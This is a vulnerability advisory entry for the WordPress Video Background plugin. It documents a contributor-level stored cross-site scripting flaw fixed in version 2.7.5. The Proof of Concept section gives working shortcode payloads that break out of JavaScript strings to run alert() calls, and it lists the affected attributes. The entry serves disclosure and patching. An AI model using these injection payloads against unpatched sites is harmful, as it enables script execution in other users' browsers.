WordPress Plugin Vulnerabilities

Video Background < 2.7.5 - Contributor+ Stored XSS via Shortcode

Description

The plugin does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks

Proof of Concept

v < 2.7.5
[vidbg loop="1});alert(/XSS-loop/); $().vidbg({a:2"]

Other affected attributes (same payload): overlay, tap_to_unmute

v < 2.7.4
[vidbg container="body'); alert(1); $('"]
[vidbg mp4="'});alert(/XSS-mp4/); $('').vidbg({a:'"]
[vidbg loop="1});alert(/XSS-loop/); $().vidbg({a:2"]

All of the shortcode attributes are affected (ie container, mp4, webm, poster, loop, muted, overlay, overlay_color, overlay_alpha, tap_to_unmute, source)

Affects Plugins

Fixed in 2.7.5

References

Classification

Type
XSS
CWE

Miscellaneous

Original Researcher
Lana Codes
Submitter
Lana Codes
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2023-02-20 (about 1 years ago)
Added
2023-02-20 (about 1 years ago)
Last Updated
2023-03-09 (about 1 years ago)

Other